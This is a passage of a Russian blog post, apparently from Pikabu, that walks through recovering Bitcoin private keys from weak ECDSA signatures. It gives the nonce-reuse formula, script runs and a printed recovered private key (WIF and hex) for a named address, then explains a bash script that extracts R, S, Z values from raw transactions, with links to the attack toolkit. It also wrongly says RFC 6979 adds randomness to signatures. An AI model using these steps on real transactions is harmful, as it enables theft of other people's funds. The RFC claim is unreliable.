p — это всего лишь порядок G, параметра кривой secp256k1, используемой Биткойном.

Создадим поле для наших вычислений:

K = GF(p)
K((z1*s2 - z2*s1)/(r*(s1-s2)))

Запускаем скрипт:

python3 vulnerabilityR.py

Далее наш скрипт: vulnerabilityR.py вычислит закрытый ключ в этом поле:

ADDR: 1BFhrfTTZP3Nw4BNy4eX4KFLsn9ZeijcMm
WIF: 5KJp7KEffR7HHFWSFYjiCUAntRSTY69LAQEX1AUzaSBHHFdKEpQ
hex: c477f9f65c22cce20657faa5b2d1d8122336f851a508a1ed04e479c34985bf96

Проверяем закрытый ключ на сайте bitaddress

Закрытый ключ найден!

https://btc.exan.tech/address/1BFhrfTTZP3Nw4BNy4eX4KFLsn9ZeijcMm

Конечно же, разработчики Биткоина устранили эту уязвимость внедрив детерминированные функции.
Эта функция RFC 6979 вносит в подпись Биткоина элемент случайности, что усиливает криптостойкость транзакции ECDSA

Document [PDF]: RFC 6979: Deterministic Usage of the Digital Signature Algorithm (DSA) and Elliptic Curve Digital Signature Algorithm (ECDSA)

Как мы знаем на практике в блокчейне Биткоина есть совершено другие уязвимые транзакции.

Ранее мы опубликовали статью: «Одна слабая транзакция в ECDSA в блокчейне Биткоина и с помощью Lattice Attack мы получили Private Key к монетам BTC»

Теперь давайте самостоятельно получим публичный ключ Bitcoin ECDSA и значение R, S, Z из файла «RawTX.json» (который мы получили в 01BlockchainGoogleDrive )

Для этого воспользуемся Терминалом для Google Colab [TerminalGoogleColab]

Ранее я записывал видеоматериал: «TERMINAL в Google Colab создаем все удобства для работ в GITHUB»

Давайте перейдем по репозитории «CryptoDeepTools» для детального криптоанализа и разберем в детали работу Bash-скрипта: getsign.sh

И так давайте разберем в детали всю работу Bash-скрипта: getsign.sh
cat RawTX.json > index.json

Делаем копию файла RawTX.json в новый файл index.json

for run in {1..4}; do

Открываем ЦИКЛ так как в файле index.json 4 строк берем {1..4}

export LINE=1 ; sed -n "${LINE}p" index.json > index2.json

Утилита export берет строку №1 и сохраняет в новом файле index2.json

sed -i '1d' index.json

Утилита sed удаляет строку №1 из файла index.json

Утилита echo создает нам Python-скрипт fileopen.py

python3 fileopen.py

Запускаем Python-скрипт fileopen.py и с успешно создает новый Bash-скрипта: signscript.sh

chmod +x signscript.sh
./signscript.sh

Получаем права на Bash-скрипт: signscript.sh

В результате запускается Python-скрипт breakECDSA.py который в итоге извлекает из RawTX значение R, S, Z и публичный ключ Bitcoin
Все это сохраняется в файл: "signatures.json"

rm signscript.sh
rm fileopen.py

Утилита rm удаляет Python-скрипт fileopen.py и успешно создает новый Bash-скрипта: signscript.sh

done

В итоге все завершится после 4-х циклов

rm index.json

Цикл закрывается и утилита rm удаляет index.json

Bash-скрипт: getsign.sh Завершает работу!

Теперь мы научились:

- Получать публичный ключ Bitcoin из ECDSA

- Получать значение R, S, Z из ECDSA

- Применить это для криптоанализа

Исходный код: https://github.com/demining/CryptoDeepTools/blob/main/02BreakECDSAcryptography
Telegram:  https://t.me/cryptodeeptech
Видеоматериал:  https://youtu.be/BYd-cuFRZmM

Показать полностью 11 1
[моё] Биткоины NFT Криптовалюта Инвестиции Биржа Финансы Фондовый рынок Доллары Рубль Банк Валюта Инвестиции в акции Т-Банк Рост цен Акции Сбербанк Инфляция Деньги Кредит Заработок Видео YouTube Длиннопост
5
CryptoDed
CryptoDed

Чем дальше тем непонятнее⁠⁠

3 года назад
Чем дальше тем непонятнее

Думаем тут https://t.me/crypttoded

[моё] Криптовалюта NFT Финансы Фондовый рынок Биржа Биткоины Инвестиции Доллары Т-Банк Рубль Валюта Налоги Инфляция Сбербанк
1
Посты не найдены
О нас
О Пикабу Контакты Реклама Сообщить об ошибке Сообщить о нарушении законодательства Отзывы и предложения Новости Пикабу Мобильное приложение RSS
Информация
Помощь Кодекс Пикабу Команда Пикабу Конфиденциальность Правила соцсети О рекомендациях О компании
Наши проекты
Блоги Работа Промокоды Игры Курсы
Партнёры
Промокоды Биг Гик Промокоды Lamoda Промокоды Мвидео Промокоды Яндекс Маркет Промокоды Пятерочка Промокоды Aroma Butik Промокоды Яндекс Путешествия Промокоды Яндекс Еда Постила Футбол сегодня
На информационном ресурсе Pikabu.ru применяются рекомендательные технологии